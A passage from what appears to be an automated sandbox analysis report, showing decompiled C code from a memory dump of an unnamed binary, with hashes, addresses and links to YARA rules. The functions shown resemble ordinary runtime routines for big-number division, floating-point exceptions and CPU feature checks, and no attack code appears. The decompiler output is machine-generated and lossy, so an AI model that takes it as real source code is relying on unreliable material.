									L19:
									_t291 = _t291 + 1;
									__eflags = _t291;
								} else {
									_t277 =  &(_t244[_t253 + 1]);
									_t341 = _a8 + _t312 * 4 + 4;
									__eflags = _t341;
									while(1) {
										__eflags =  *_t341 -  *_t277;
										if(__eflags != 0) {
											break;
										}
										_t191 = _t191 - 1;
										_t341 = _t341 - 4;
										_t277 = _t277 - 4;
										__eflags = _t191 - _t291;
										if(_t191 >= _t291) {
											continue;
										} else {
											goto L19;
										}
										goto L20;
									}
									if(__eflags < 0) {
										goto L19;
									}
								}
								L20:
								__eflags = _t291;
								if(__eflags == 0) {
									goto L74;
								} else {
									_t192 = _a8;
									_t245 = _v56;
									_t326 =  *(_t192 + _t245 * 4);
									_t55 = _t245 * 4; // 0xffffdec9
									_t254 =  *(_t192 + _t55 - 4);
									asm("bsr eax, esi");
									_v52 = _t326;
									_v36 = _t254;
									if(__eflags == 0) {
										_t313 = 0x20;
									} else {
										_t313 = 0x1f - _t192;
									}
									_v16 = _t313;
									_v48 = 0x20 - _t313;
									__eflags = _t313;
									if(_t313 != 0) {
										_t274 = _t313;
										_v36 = _v36 << _t274;
										_v52 = _t326 << _t274 | _t254 >> _v48;
										__eflags = _t245 - 2;
										if(_t245 > 2) {
											_t68 = _t245 * 4; // 0xe850ffff
											_t70 =  &_v36;
											 *_t70 = _v36 |  *(_a8 + _t68 - 8) >> _v48;
											__eflags =  *_t70;
										}
									}
									_t327 = 0;
									_v32 = 0;
									_t292 = _t291 + 0xffffffff;
									__eflags = _t292;
									_v28 = _t292;
									if(_t292 >= 0) {
										_t197 = _t292 + _t245;
										_t247 = _a4;
										_v60 = _t197;
										_v64 = _t247 + 4 + _t292 * 4;
										_t260 = _t247 - 4 + _t197 * 4;
										_v80 = _t260;
										do {
											__eflags = _t197 - _v12;
											if(_t197 > _v12) {
												_t198 = 0;
												__eflags = 0;
											} else {
												_t198 = _t260[2];
											}
											_t296 = _t260[1];
											_t261 =  *_t260;
											_v76 = _t198;
											_v40 = 0;
											_v8 = _t198;
											_v24 = _t261;
											__eflags = _t313;
											if(_t313 != 0) {
												_t303 = _v8;
												_t319 = _t261 >> _v48;
												_t221 = E00C95BA0(_t296, _v16, _t303);
												_t261 = _v16;
												_t198 = _t303;
												_t296 = _t319 | _t221;
												_t327 = _v24 << _t261;
												__eflags = _v60 - 3;
												_v8 = _t303;
												_v24 = _t327;
												if(_v60 >= 3) {
													_t261 = _v48;
													_t327 = _t327 |  *(_t247 + (_v56 + _v28) * 4 - 8) >> _t261;
													__eflags = _t327;
													_t198 = _v8;
													_v24 = _t327;
												}
											}
											_push(_t247);
											_t199 = E00C95980(_t296, _t198, _v52, 0);
											_v40 = _t247;
											_t249 = _t199;
											_t328 = _t327 ^ _t327;
											_t200 = _t296;
											_v8 = _t249;
											_v20 = _t200;
											_t314 = _t261;
											_v72 = _t249;
											_v68 = _t200;
											_v40 = _t328;
											__eflags = _t200;
											if(_t200 != 0) {
												L37:
												_t250 = _t249 + 1;
												asm("adc eax, 0xffffffff");
												_t314 = _t314 + E00C95A30(_t250, _t200, _v52, 0);
												asm("adc esi, edx");
												_t249 = _t250 | 0xffffffff;
												_t200 = 0;
												__eflags = 0;
												_v40 = _t328;
												_v8 = _t249;
												_v72 = _t249;
												_v20 = 0;
												_v68 = 0;
											} else {
												__eflags = _t249 - 0xffffffff;
												if(_t249 > 0xffffffff) {
													goto L37;
												}
											}
											__eflags = _t328;
											if(__eflags <= 0) {
												if(__eflags < 0) {
													goto L41;
												} else {
													__eflags = _t314 - 0xffffffff;
													if(_t314 <= 0xffffffff) {
														while(1) {
															L41:
															_v8 = _v24;
															_t219 = E00C95A30(_v36, 0, _t249, _t200);
															__eflags = _t296 - _t314;
															if(__eflags < 0) {
																break;
															}
															if(__eflags > 0) {
																L44:
																_t200 = _v20;
																_t249 = _t249 + 0xffffffff;
																_v72 = _t249;
																asm("adc eax, 0xffffffff");
																_t314 = _t314 + _v52;
																__eflags = _t314;
																_v20 = _t200;
																asm("adc dword [ebp-0x24], 0x0");
																_v68 = _t200;
																if(_t314 == 0) {
																	__eflags = _t314 - 0xffffffff;
																	if(_t314 <= 0xffffffff) {
																		continue;
																	} else {
																	}
																}
															} else {
																__eflags = _t219 - _v8;
																if(_t219 <= _v8) {
																	break;
																} else {
																	goto L44;
																}
															}
															L48:
															_v8 = _t249;
															goto L49;
														}
														_t200 = _v20;
														goto L48;
													}
												}
											}
											L49:
											__eflags = _t200;
											if(_t200 != 0) {
												L51:
												_t262 = _v56;
												_t315 = 0;
												_t329 = 0;
												__eflags = _t262;
												if(_t262 != 0) {
													_t252 = _v64;
													_t210 = _a8 + 4;
													__eflags = _t210;
													_v40 = _t210;
													_v24 = _t262;
													do {
														_v12 =  *_t210;
														_t216 =  *_t252;
														_t268 = _t315 + _v72 * _v12;
														asm("adc esi, edx");
														_t315 = _t329;
														_t329 = 0;
														__eflags = _t216 - _t268;
														if(_t216 < _t268) {
															_t315 = _t315 + 1;
															asm("adc esi, esi");
														}
														 *_t252 = _t216 - _t268;
														_t252 = _t252 + 4;
														_t210 = _v40 + 4;
														_t153 =  &_v24;
														 *_t153 = _v24 - 1;
														__eflags =  *_t153;
														_v40 = _t210;
													} while ( *_t153 != 0);
													_t249 = _v8;
													_t262 = _v56;
												}
												__eflags = 0 - _t329;
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L60:
														__eflags = _t262;
														if(_t262 != 0) {
															_t251 = 0;
															_t299 = _v64;
															_t334 = _a8 + 4;
															__eflags = _t334;
															_t316 = _t262;
															do {
																_t264 =  *_t299;
																_t161 = _t334 + 4; // 0xf8835959
																_t334 = _t161;
																_t299 = _t299 + 4;
																asm("adc eax, eax");
																 *((intOrPtr*)(_t299 - 4)) = _t264 +  *((intOrPtr*)(_t334 - 4)) + _t251;
																asm("adc eax, 0x0");
																_t251 = 0;
																_t316 = _t316 - 1;
																__eflags = _t316;
															} while (_t316 != 0);
															_t249 = _v8;
														}
														_t249 = _t249 + 0xffffffff;
														asm("adc dword [ebp-0x10], 0xffffffff");
													} else {
														__eflags = _v76 - _t315;
														if(_v76 < _t315) {
															goto L60;
														}
													}
												}
												_t204 = _v60 - 1;
												__eflags = _t204;
												_v12 = _t204;
											} else {
												__eflags = _t249;
												if(_t249 != 0) {
													goto L51;
												}
											}
											_t327 = _v32;
											_t247 = _a4;
											asm("adc esi, 0x0");
											_v64 = _v64 - 4;
											_t298 = _v28 - 1;
											_t313 = _v16;
											_t260 = _v80 - 4;
											_v32 = 0 + _t249;
											_t197 = _v60 - 1;
											_v28 = _t298;
											_v60 = _t197;
											_v80 = _t260;
											__eflags = _t298;
										} while (_t298 >= 0);
									}
									_t246 = _a4;
									_t256 = _v12 + 1;
									_t195 = _t256;
									__eflags = _t195 -  *_t246;
									if(_t195 <  *_t246) {
										_t295 =  &(( &(_t246[1]))[_t195]);
										do {
											 *_t295 = 0;
											_t295 =  &(_t295[1]);
											_t195 = _t195 + 1;
											__eflags = _t195 -  *_t246;
										} while (_t195 <  *_t246);
									}
									 *_t246 = _t256;
									__eflags = _t256;
									if(_t256 != 0) {
										while(1) {
											__eflags = _t246[_t256];
											if(_t246[_t256] != 0) {
												goto L73;
											}
											_t256 = _t256 + 0xffffffff;
											__eflags = _t256;
											 *_t246 = _t256;
											if(_t256 != 0) {
												continue;
											}
											goto L73;
										}
									}
									L73:
									return _v32;
								}
							}
						} else {
							_t7 = _t289 + 4; // 0x96850f0a
							_t304 =  *_t7;
							_v12 = _t304;
							if(_t304 != 1) {
								__eflags = _t253;
								if(_t253 != 0) {
									_t323 = 0;
									_v16 = 0;
									_v40 = 0;
									_v28 = 0;
									__eflags = _t253 - 0xffffffff;
									if(_t253 != 0xffffffff) {
										_t281 = _t253 + 1;
										__eflags = _t281;
										_t282 =  &(_t244[_t281]);
										_v32 = _t282;
										do {
											_t236 = E00C95980( *_t282, _t323, _t304, 0);
											_v28 = _t244;
											_t244 = _t244;
											_v68 = _t304;
											_t323 = _t282;
											_v16 = 0 + _t236;
											_t304 = _v12;
											asm("adc ecx, 0x0");
											_v40 = _v16;
											_t282 = _v32 - 4;
											_v32 = _t282;
											_t325 = _t325 - 1;
											__eflags = _t325;
										} while (_t325 != 0);
										_t244 = _a4;
									}
									_v544 = 0;
									_t342 =  &(_t244[1]);
									 *_t244 = 0;
									E00C8DFE0(_t342, 0x1cc,  &_v540, 0);
									_t232 = _v28;
									__eflags = 0 - _t232;
									 *_t342 = _t323;
									_t244[2] = _t232;
									asm("sbb ecx, ecx");
									__eflags =  ~0x00000000;
									 *_t244 = 0xbadbae;
									return _v16;
								} else {
									_t324 =  &(_t244[1]);
									_v544 = _t253;
									 *_t244 = _t253;
									E00C8DFE0(_t324, 0x1cc,  &_v540, _t253);
									_t239 = _t244[1];
									_t309 = _t239 % _v12;
									__eflags = 0 - _t309;
									 *_t324 = _t309;
									asm("sbb ecx, ecx");
									__eflags = 0;
									 *_t244 =  ~0x00000000;
									return _t239 / _v12;
								}
							} else {
								_v544 = _t312;
								 *_t244 = _t312;
								E00C8DFE0( &(_t244[1]), 0x1cc,  &_v540, _t312);
								return _t244[1];
							}
						}
					}
				}
			}

0x00c8bc8c
0x00c8bc91
0x00c8bc95
0x00c8c10f
0x00c8c111
0x00c8c117
0x00c8bc9b
0x00c8bc9b
0x00c8bc9e
0x00c8bca0
0x00c8bca5
0x00000000
0x00c8bcab
0x00c8bcab
0x00c8bcae
0x00c8bcb1
0x00c8bcb6
0x00c8bde7
0x00c8bde9
0x00000000
0x00c8bdef
0x00c8bdf1
0x00c8bdf3
0x00c8bdf5
0x00c8bdf7
0x00c8be1b
0x00c8be1b
0x00c8be1b
0x00c8bdf9
0x00c8be00
0x00c8be03
0x00c8be03
0x00c8be06
0x00c8be08
0x00c8be0a
0x00000000
0x00000000
0x00c8be0c
0x00c8be0d
0x00c8be10
0x00c8be13
0x00c8be15
0x00000000
0x00c8be17
0x00000000
0x00c8be17
0x00000000
0x00c8be15
0x00c8be19
0x00000000
0x00000000
0x00c8be19
0x00c8be1c
0x00c8be1c
0x00c8be1e
0x00000000
0x00c8be24
0x00c8be24
0x00c8be27
0x00c8be2a
0x00c8be2d
0x00c8be2d
0x00c8be31
0x00c8be34
0x00c8be37
0x00c8be3a
0x00c8be45
0x00c8be3c
0x00c8be41
0x00c8be41
0x00c8be4f
0x00c8be54
0x00c8be57
0x00c8be59
0x00c8be62
0x00c8be64
0x00c8be6b
0x00c8be6e
0x00c8be71
0x00c8be79
0x00c8be7f
0x00c8be7f
0x00c8be7f
0x00c8be7f
0x00c8be71
0x00c8be82
0x00c8be84
0x00c8be8b
0x00c8be8b
0x00c8be8e
0x00c8be91
0x00c8be97
0x00c8be9a
0x00c8be9d
0x00c8bea6
0x00c8beac
0x00c8beaf
0x00c8beb2
0x00c8beb2
0x00c8beb5
0x00c8bebc
0x00c8bebc
0x00c8beb7
0x00c8beb7
0x00c8beb7
0x00c8bebe
0x00c8bec1
0x00c8bec3
0x00c8bec6
0x00c8becd
0x00c8bed0
0x00c8bed3
0x00c8bed5
0x00c8bee0
0x00c8bee3
0x00c8bee8
0x00c8beed
0x00c8bef4
0x00c8bef9
0x00c8befb
0x00c8befd
0x00c8bf01
0x00c8bf04
0x00c8bf07
0x00c8bf0f
0x00c8bf18
0x00c8bf18
0x00c8bf1a
0x00c8bf1d
0x00c8bf1d
0x00c8bf07
0x00c8bf20
0x00c8bf28
0x00c8bf2d
0x00c8bf32
0x00c8bf34
0x00c8bf36
0x00c8bf38
0x00c8bf3b
0x00c8bf3e
0x00c8bf40
0x00c8bf43
0x00c8bf46
0x00c8bf49
0x00c8bf4b
0x00c8bf52
0x00c8bf57
0x00c8bf5a
0x00c8bf64
0x00c8bf66
0x00c8bf68
0x00c8bf6b
0x00c8bf6b
0x00c8bf6d
0x00c8bf70
0x00c8bf73
0x00c8bf76
0x00c8bf79
0x00c8bf4d
0x00c8bf4d
0x00c8bf50
0x00000000
0x00000000
0x00c8bf50
0x00c8bf7c
0x00c8bf7e
0x00c8bf80
0x00000000
0x00c8bf82
0x00c8bf82
0x00c8bf85
0x00c8bf87
0x00c8bf87
0x00c8bf95
0x00c8bf98
0x00c8bf9d
0x00c8bf9f
0x00000000
0x00000000
0x00c8bfa1
0x00c8bfa8
0x00c8bfa8
0x00c8bfab
0x00c8bfae
0x00c8bfb1
0x00c8bfb4
0x00c8bfb4
0x00c8bfb7
0x00c8bfba
0x00c8bfbe
0x00c8bfc1
0x00c8bfc3
0x00c8bfc6
0x00000000
0x00000000
0x00c8bfc8
0x00c8bfc6
0x00c8bfa3
0x00c8bfa3
0x00c8bfa6
0x00000000
0x00000000
0x00000000
0x00000000
0x00c8bfa6
0x00c8bfcd
0x00c8bfcd
0x00000000
0x00c8bfcd
0x00c8bfca
0x00000000
0x00c8bfca
0x00c8bf85
0x00c8bf80
0x00c8bfd0
0x00c8bfd0
0x00c8bfd2
0x00c8bfdc
0x00c8bfdc
0x00c8bfdf
0x00c8bfe1
0x00c8bfe3
0x00c8bfe5
0x00c8bfea
0x00c8bfed
0x00c8bfed
0x00c8bff0
0x00c8bff3
0x00c8bff6
0x00c8bff8
0x00c8c00d
0x00c8c00f
0x00c8c011
0x00c8c013
0x00c8c015
0x00c8c017
0x00c8c019
0x00c8c01b
0x00c8c01e
0x00c8c01e
0x00c8c022
0x00c8c024
0x00c8c02a
0x00c8c02d
0x00c8c02d
0x00c8c02d
0x00c8c031
0x00c8c031
0x00c8c036
0x00c8c039
0x00c8c039
0x00c8c03e
0x00c8c040
0x00c8c042
0x00c8c049
0x00c8c049
0x00c8c04b
0x00c8c050
0x00c8c052
0x00c8c055
0x00c8c055
0x00c8c058
0x00c8c060
0x00c8c060
0x00c8c062
0x00c8c062
0x00c8c067
0x00c8c06d
0x00c8c071
0x00c8c074
0x00c8c077
0x00c8c079
0x00c8c079
0x00c8c079
0x00c8c07e
0x00c8c07e
0x00c8c081
0x00c8c084
0x00c8c044
0x00c8c044
0x00c8c047
0x00000000
0x00000000
0x00c8c047
0x00c8c042
0x00c8c08b
0x00c8c08b
0x00c8c08c
0x00c8bfd4
0x00c8bfd4
0x00c8bfd6
0x00000000
0x00000000
0x00c8bfd6
0x00c8c08f
0x00c8c09c
0x00c8c09f
0x00c8c0a2
0x00c8c0a6
0x00c8c0a7
0x00c8c0aa
0x00c8c0ad
0x00c8c0b3
0x00c8c0b4
0x00c8c0b7
0x00c8c0ba
0x00c8c0bd
0x00c8c0bd
0x00c8beb2
0x00c8c0c8
0x00c8c0cb
0x00c8c0cc
0x00c8c0ce
0x00c8c0d0
0x00c8c0d5
0x00c8c0e0
0x00c8c0e0
0x00c8c0e6
0x00c8c0e9
0x00c8c0ea
0x00c8c0ea
0x00c8c0e0
0x00c8c0ee
0x00c8c0f0
0x00c8c0f2
0x00c8c0f4
0x00c8c0f4
0x00c8c0f8
0x00000000
0x00000000
0x00c8c0fa
0x00c8c0fa
0x00c8c0fd
0x00c8c0ff
0x00000000
0x00000000
0x00000000
0x00c8c0ff
0x00c8c0f4
0x00c8c101
0x00c8c10c
0x00c8c10c
0x00c8be1e
0x00c8bcbc
0x00c8bcbc
0x00c8bcbc
0x00c8bcbf
0x00c8bcc5
0x00c8bcf6
0x00c8bcf8
0x00c8bd3a
0x00c8bd3c
0x00c8bd43
0x00c8bd4a
0x00c8bd4d
0x00c8bd50
0x00c8bd52
0x00c8bd52
0x00c8bd53
0x00c8bd56
0x00c8bd60
0x00c8bd6a
0x00c8bd6f
0x00c8bd72
0x00c8bd74
0x00c8bd77
0x00c8bd80
0x00c8bd83
0x00c8bd86
0x00c8bd89
0x00c8bd8f
0x00c8bd92
0x00c8bd95
0x00c8bd95
0x00c8bd95
0x00c8bd9a
0x00c8bd9a
0x00c8bda5
0x00c8bdb0
0x00c8bdb3
0x00c8bdbf
0x00c8bdc4
0x00c8bdcf
0x00c8bdd1
0x00c8bdd3
0x00c8bdd9
0x00c8bdde
0x00c8bde0
0x00c8bde6
0x00c8bcfa
0x00c8bd05
0x00c8bd08
0x00c8bd14
0x00c8bd16
0x00c8bd1d
0x00c8bd1f
0x00c8bd27
0x00c8bd29
0x00c8bd2b
0x00c8bd30
0x00c8bd33
0x00c8bd39
0x00c8bd39
0x00c8bcc7
0x00c8bcd5
0x00c8bce1
0x00c8bce3
0x00c8bcf5
0x00c8bcf5
0x00c8bcc5
0x00c8bcb6
0x00c8bca5

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b794553f2757d54ffd9b0292744df661c05ad12f746dce218c7b50c93a0a5eba
Instruction ID: a50f878cf89798148ed7bd37206524a0ca391c435784fd5897e1e4ada8d61825
Opcode Fuzzy Hash: b794553f2757d54ffd9b0292744df661c05ad12f746dce218c7b50c93a0a5eba
Instruction Fuzzy Hash: A5F14F75E002199FDF14DFA8C8806AEF7B1FF48318F258269D929AB345D731AE41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00C945B2, Relevance: 1.8, APIs: 1, Instructions: 274
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00C945B2(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed char _t193;
				signed int _t196;
				signed int _t200;
				signed int _t203;
				void* _t204;
				void* _t207;
				signed int _t210;
				void* _t211;
				signed int _t226;
				unsigned int* _t241;
				signed char _t243;
				signed int* _t251;
				unsigned int* _t257;
				signed int* _t258;
				signed char _t260;
				long _t263;
				signed int* _t266;

				 *(_a4 + 4) = 0;
				_t263 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t243 = _a12;
				if((_t243 & 0x00000010) != 0) {
					_t263 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t243 & 0x00000002) != 0) {
					_t263 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t243 & 0x00000001) != 0) {
					_t263 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t243 & 0x00000004) != 0) {
					_t263 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t243 & 0x00000008) != 0) {
					_t263 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t266 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 +  *_t266) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 5) ^  *(_a4 + 8)) & 1;
				_t260 = E00C9114D(_a4);
				if((_t260 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t260 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t260 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t260 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t260 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t266 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t258 = _a4;
						_t226 =  *_t258 & 0xfffffffd | 1;
						L26:
						 *_t258 = _t226;
						L29:
						_t175 =  *_t266 & 0x00000300;
						if(_t175 == 0) {
							_t251 = _a4;
							_t178 =  *_t251 & 0xffffffeb | 0x00000008;
							L35:
							 *_t251 = _t178;
							L36:
							_t179 = _a4;
							_t255 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t255 = _a4;
								_t241 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t241;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t241 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t241;
							}
							E00C910B9(_t255);
							RaiseException(_t263, 0, 1,  &_a4);
							_t257 = _a4;
							_t193 = _t257[2];
							if((_t193 & 0x00000010) != 0) {
								 *_t266 =  *_t266 & 0xfffffffe;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000008) != 0) {
								 *_t266 =  *_t266 & 0xfffffffb;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000004) != 0) {
								 *_t266 =  *_t266 & 0xfffffff7;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000002) != 0) {
								 *_t266 =  *_t266 & 0xffffffef;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000001) != 0) {
								 *_t266 =  *_t266 & 0xffffffdf;
							}
							_t196 =  *_t257 & 0x00000003;
							if(_t196 == 0) {
								 *_t266 =  *_t266 & 0xfffff3ff;
							} else {
								_t207 = _t196 - 1;
								if(_t207 == 0) {
									_t210 =  *_t266 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t266 = _t210;
									L58:
									_t200 =  *_t257 >> 0x00000002 & 0x00000007;
									if(_t200 == 0) {
										_t203 =  *_t266 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t266 = _t203;
										L65:
										if(_a28 == 0) {
											 *_t241 = _t257[0x14];
										} else {
											 *_t241 = _t257[0x14];
										}
										return _t203;
									}
									_t204 = _t200 - 1;
									if(_t204 == 0) {
										_t203 =  *_t266 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t203 = _t204 - 1;
									if(_t203 == 0) {
										 *_t266 =  *_t266 & 0xfffff3ff;
									}
									goto L65;
								}
								_t211 = _t207 - 1;
								if(_t211 == 0) {
									_t210 =  *_t266 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t211 == 1) {
									 *_t266 =  *_t266 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t251 = _a4;
							_t178 =  *_t251 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t258 = _a4;
						_t226 =  *_t258 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x00c945c0
0x00c945c7
0x00c945cc
0x00c945d2
0x00c945d5
0x00c945db
0x00c945e0
0x00c945e5
0x00c945e5
0x00c945eb
0x00c945f0
0x00c945f5
0x00c945f5
0x00c945fc
0x00c94601
0x00c94606
0x00c94606
0x00c9460d
0x00c94612
0x00c94617
0x00c94617
0x00c9461e
0x00c94623
0x00c94628
0x00c94628
0x00c94630
0x00c94640
0x00c94652
0x00c94664
0x00c94677
0x00c94689
0x00c94691
0x00c94696
0x00c9469b
0x00c9469b
0x00c946a2
0x00c946a7
0x00c946a7
0x00c946ae
0x00c946b3
0x00c946b3
0x00c946ba
0x00c946bf
0x00c946bf
0x00c946c6
0x00c946cb
0x00c946cb
0x00c946d5
0x00c946d7
0x00c94711
0x00c946d9
0x00c946de
0x00c94702
0x00c9470a
0x00c946fe
0x00c946fe
0x00c94714
0x00c9471b
0x00c9471d
0x00c9473f
0x00c94747
0x00c9474a
0x00c9474a
0x00c9474c
0x00c9474c
0x00c94757
0x00c9475d
0x00c94762
0x00c94769
0x00c947a3
0x00c947ae
0x00c947b4
0x00c947b7
0x00c947ba
0x00c947c6
0x00c947ce
0x00c9476b
0x00c9476e
0x00c9477a
0x00c94780
0x00c94786
0x00c94789
0x00c94792
0x00c94792
0x00c947d1
0x00c947df
0x00c947e5
0x00c947e8
0x00c947ed
0x00c947ef
0x00c947f2
0x00c947f2
0x00c947f7
0x00c947f9
0x00c947fc
0x00c947fc
0x00c94801
0x00c94803
0x00c94806
0x00c94806
0x00c9480b
0x00c9480d
0x00c94810
0x00c94810
0x00c94815
0x00c94817
0x00c94817
0x00c94824
0x00c94827
0x00c9485e
0x00c94829
0x00c94829
0x00c9482c
0x00c94857
0x00c9484c
0x00c9484c
0x00c94860
0x00c94868
0x00c9486b
0x00c9488a
0x00c9488f
0x00c9488f
0x00c94891
0x00c94896
0x00c948a2
0x00c94898
0x00c9489b
0x00c9489b
0x00c948a7
0x00c948a7
0x00c9486d
0x00c94870
0x00c9487f
0x00000000
0x00c9487f
0x00c94872
0x00c94875
0x00c94877
0x00c94877
0x00000000
0x00c94875
0x00c9482e
0x00c94831
0x00c94847
0x00000000
0x00c94847
0x00c94836
0x00c94838
0x00c94838
0x00c94836
0x00000000
0x00c94827
0x00c94724
0x00c94732
0x00c9473a
0x00000000
0x00c9473a
0x00c94728
0x00c9472d
0x00c9472d
0x00000000
0x00c94728
0x00c946e5
0x00c946f3
0x00c946fb
0x00000000
0x00c946fb
0x00c946e9
0x00c946ee
0x00c946ee
0x00c946e9

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00C945AD,?,?,00000008,?,?,00C94130,00000000), ref: 00C947DF

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 26f410b80bc19e2149f68a8d1e9bc85adea886179d434883baffbb49655f62ea
Instruction ID: 54c86cf5052a64ebe58d85ef7216b7e7b9166d034e3c8cec45000cc66693286c
Opcode Fuzzy Hash: 26f410b80bc19e2149f68a8d1e9bc85adea886179d434883baffbb49655f62ea
Instruction Fuzzy Hash: 63B15E71610608DFDB18CF28C48AF657BE0FF45365F258658E9A9CF2A1C335EA92CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00C570D4, Relevance: 1.6, APIs: 1, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00C570D4(signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _t60;
				signed int _t61;
				signed int _t62;
				signed int _t63;
				signed int _t66;
				signed int _t67;
				signed int _t73;
				intOrPtr _t74;
				intOrPtr _t75;
				intOrPtr* _t77;
				signed int _t78;
				intOrPtr* _t82;
				signed int _t85;
				signed int _t90;
				intOrPtr* _t93;
				signed int _t96;
				signed int _t99;
				signed int _t104;

				_t90 = __edx;
				 *0xca3abc =  *0xca3abc & 0x00000000;
				 *0xca3090 =  *0xca3090 | 0x00000001;
				if(IsProcessorFeaturePresent(0xa) == 0) {
					L23:
					return 0;
				}
				_v20 = _v20 & 0x00000000;
				_push(_t74);
				_t93 =  &_v40;
				asm("cpuid");
				_t75 = _t74;
				 *_t93 = 0;
				 *((intOrPtr*)(_t93 + 4)) = _t74;
				 *((intOrPtr*)(_t93 + 8)) = 0;
				 *(_t93 + 0xc) = _t90;
				_v16 = _v40;
				_v12 = _v28 ^ 0x49656e69;
				_v8 = _v36 ^ 0x756e6547;
				_push(_t75);
				asm("cpuid");
				_t77 =  &_v40;
				 *_t77 = 1;
				 *((intOrPtr*)(_t77 + 4)) = _t75;
				 *((intOrPtr*)(_t77 + 8)) = 0;
				 *(_t77 + 0xc) = _t90;
				if((_v8 | _v32 ^ 0x6c65746e | _v12) != 0) {
					L9:
					_t96 =  *0xca3ac0; // 0x2
					L10:
					_t85 = _v32;
					_t60 = 7;
					_v8 = _t85;
					if(_v16 < _t60) {
						_t78 = _v20;
					} else {
						_push(_t77);
						asm("cpuid");
						_t82 =  &_v40;
						 *_t82 = _t60;
						 *((intOrPtr*)(_t82 + 4)) = _t77;
						 *((intOrPtr*)(_t82 + 8)) = 0;
						_t85 = _v8;
